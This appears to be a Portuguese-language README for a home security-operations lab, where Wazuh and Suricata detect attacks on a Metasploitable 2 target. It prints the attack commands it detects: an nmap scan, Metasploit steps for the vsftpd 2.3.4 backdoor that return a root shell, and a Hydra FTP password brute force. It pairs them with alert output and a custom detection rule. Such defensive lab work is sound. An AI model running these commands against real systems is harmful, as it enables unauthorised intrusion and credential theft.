SOC Doméstico: Laboratório de Detecção de Ameaças com Wazuh + Suricata

Um laboratório auto-hospedado de Centro de Operações de Segurança (SOC) construído para detectar técnicas reais de ataque contra um alvo deliberadamente vulnerável, usando Wazuh como SIEM e Suricata como sensor IDS baseado em rede. Construído para demonstrar habilidades de engenharia de detecção — não apenas implantação de ferramentas.

Visão Geral

O trabalho moderno de SOC não é apenas "instalar um SIEM e observar o painel". É entender por que uma lacuna de detecção existe e saber como fechá-la. Este laboratório simula um ambiente pequeno e realista: uma máquina atacante, um alvo legado/vulnerável sem suporte nativo a logs e uma pilha de SIEM que precisa contornar essa restrição usando visibilidade na camada de rede em vez de agentes de host.

Decisão arquitetônica chave: o alvo (Metasploitable 2) executa um SO muito antigo para suportar um agente Wazuh moderno ou mesmo um reencaminhador de syslog com acesso à Internet. Em vez de tratar isso como um bloqueio, o projeto muda para detecção totalmente baseada em rede via Suricata — um padrão realista para ativos legados, IoT ou OT que não podem ser instrumentados diretamente.

Arquitetura

┌─────────────┐         attacks          ┌──────────────────────┐
│   Kali VM   │ ────────────────────────▶│   Metasploitable 2   │
│ (attacker + │                           │  (unmonitored victim, │
│  Suricata   │                           │   no agent, no       │
│  sensor +   │                           │   internet access)   │
│  Wazuh agent│                           └──────────────────────┘
└──────┬──────┘
       │ eve.json (Suricata alerts/events)
       │ forwarded via Wazuh agent
       ▼
┌─────────────────────┐
│   Wazuh Manager      │
│   (Amazon Linux 2023)│
│   Indexer + Dashboard│
└─────────────────────┘

Todas as três VMs são executadas no VirtualBox, em rede NAT em 192.168.0.0/24.

Por que o Suricata roda na máquina atacante

O Suricata precisa de visibilidade no tráfego entre o atacante e o alvo. Existem duas opções: uma VM sensor dedicada com uma interface promíscua/espelhada, ou rodar o sensor em um dos dois hosts que já estão no caminho do tráfego. Como o gerenciador Wazuh (Amazon Linux 2023) não tem suporte a EPEL e tornou a instalação do Suricata impraticável, e o alvo não pode rodar nenhum agente, o Suricata roda diretamente na máquina Kali. Isso significa que ele vê 100% do tráfego de ataque em sua própria interface sem exigir modo promíscuo ou porta espelhada, e envia seus eventos para o gerenciador através do agente Wazuh já cadastrado no Kali.

Detecções

1. Reconhecimento — Detecção de Varredura Nmap

Ataque:

nmap -sV -A 192.168.0.138

Detecção: O conjunto de regras Emerging Threats do Suricata sinalizou múltiplas assinaturas relacionadas a varreduras e anomalias de protocolo em tempo real conforme a varredura tocava cada porta aberta, incluindo tráfego no serviço UnrealIRCd exposto do Metasploitable (ET CHAT IRC USER command).

Resultado: 132+ eventos de IDS gerados e corretamente classificados nos grupos de regras ids, suricata na visão de Threat Hunting do Wazuh dentro de segundos após o término da varredura.

2. Exploração — Backdoor vsftpd 2.3.4 (CVE-2011-2523)

Ataque:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.0.138
msf6 > set LHOST 192.168.0.200
msf6 > run

O vsftpd 2.3.4 do Metasploitable contém uma backdoor acionada por uma string de login FTP malformada, que gera um shell root na porta TCP 6200. O exploit foi bem-sucedido e retornou uma sessão Meterpreter como root.

Detecção: A assinatura GPL ATTACK_RESPONSE id check returned root do Suricata (SID 2100498) disparou 11 segundos após o shell ser gerado, correspondendo à string em texto simples uid=0(root) na saída do comando do shell enquanto atravessava o fio na porta 6200.

"signature": "GPL ATTACK_RESPONSE id check returned root",
"signature_id": 2100498,
"src_ip": "192.168.0.138",
"src_port": 6200,
"dest_ip": "192.168.0.200",
"direction": "to_client"

Por que isso importa: esta é a confirmação na camada de rede de um comprometimento bem-sucedido como root em um ativo com zero de registro baseado em host — exatamente o cenário para o qual a arquitetura foi projetada.

3. Ataque de Credenciais — Força Bruta FTP (MITRE ATT&CK T1110)

Ataque:

hydra -l msfadmin -P /tmp/quicklist.txt -t 4 ftp://192.168.0.138

O Hydra tentou múltiplos logins FTP em sucessão rápida, identificando corretamente o par de credenciais válido msfadmin:msfadmin após várias tentativas falhas.

Status da detecção: O analisador de protocolo FTP do Suricata capturou cada comando USER/PASS individual e código de resposta do servidor em eve.json (event_type: ftp), confirmado presente no arquivo de eventos brutos do gerenciador:

{"event_type":"ftp","src_ip":"192.168.0.200","dest_ip":"192.168.0.138",
 "dest_port":21,"ftp":{"command":"PASS","command_data":"root",
 "completion_code":["530"],"reply":["Login incorrect."]}}

O conjunto de regras padrão do Suricata não possui assinatura dedicada para força bruta FTP, pois é um padrão de protocolo e não uma string conhecida como maliciosa. Uma regra de correlação personalizada do Wazuh foi projetada para fechar essa lacuna:

<group name="suricata,ftp,brute_force,">
  <rule id="100100" level="5">
    <if_sid>86600</if_sid>
    <field name="event_type">^ftp$</field>
    <field name="data.ftp.command">^PASS$</field>
    <description>Suricata: FTP password attempt detected on $(data.dest_ip)</description>
  </rule>

  <rule id="100101" level="10" frequency="4" timeframe="60">
    <if_matched_sid>100100</if_matched_sid>
    <description>Suricata: Possible FTP brute force attack detected - multiple password attempts within 60 seconds</description>
    <mitre>
      <id>T1110</id>
    </mitre>
  </rule>
</group>

Status: em andamento — os dados do evento subjacente são confirmados como chegando ao gerenciador, e a sintaxe da regra é validada via wazuh-logtest, mas a regra de correlação (100101) ainda não está disparando de forma confiável de ponta a ponta. O próximo passo de depuração é confirmar o caminho do campo do decodificador atribuído aos campos FTP aninhados do Suricata no momento da análise via wazuh-logtest contra uma amostra ao vivo. Marcado como trabalho futuro abaixo.

Lições Aprendidas

• Alvos legados mudam sua arquitetura, não apenas seus comandos. A cadeia de ferramentas desatualizada do Metasploitable 2 descartou um agente Wazuh moderno e até mesmo o encaminhamento básico de syslog (sem rsyslog, sem acesso à Internet). Em vez de forçar uma abordagem baseada em host, o projeto mudou para detecção baseada em rede — um padrão indiscutivelmente mais realista para ativos legados/IoT do mundo real.
• Ecossistemas de pacotes não são intercambiáveis. A base Amazon Linux 2023 do gerenciador Wazuh não suporta o EPEL clássico, o que bloqueou uma instalação direta do Suricata lá. Mover o sensor para a máquina Kali baseada em Debian, que já estava no caminho do tráfego, evitou completamente o problema.
• Conjuntos de regras IDS padrão são baseados em assinaturas, não comportamentais. O Suricata capturou o exploit do vsftpd instantaneamente porque existia uma assinatura conhecida para ele, mas não tinha nada para força bruta FTP porque isso é um padrão, não uma string estática. Esta é a justificativa real para escrever regras de correlação personalizadas em um SIEM em vez de confiar apenas no conteúdo IDS pronto para uso.
• archives.log/archives.json não estão habilitados por padrão (logall/logall_json estão no na configuração padrão) e são essenciais para depurar o que um SIEM realmente recebeu versus o que ele escolheu alertar.

Trabalho Futuro

• Finalizar a depuração da regra de correlação de força bruta FTP (100100/100101) de ponta a ponta
• Adicionar exploração de backdoor do UnrealIRCd (CVE-2010-2075) como uma quarta detecção, já que o Suricata já está sinalizando tráfego IRC no alvo
• Adicionar RCE do Samba usermap_script (CVE-2007-2447) como uma quinta técnica
• Conectar alertas de alta severidade ao TheHive ou Shuffle para criação automatizada de casos
• Adicionar resposta ativa para bloquear automaticamente o IP do atacante em detecções repetidas de força bruta

Ferramentas Utilizadas

• Wazuh 4.14.6 — SIEM (gerenciador, indexador, painel)
• Suricata 8.0.5 — IDS de Rede
• Metasploit Framework / Hydra / Nmap — simulação de ataque
• VirtualBox — virtualização de laboratório

Mapeamento MITRE ATT&CK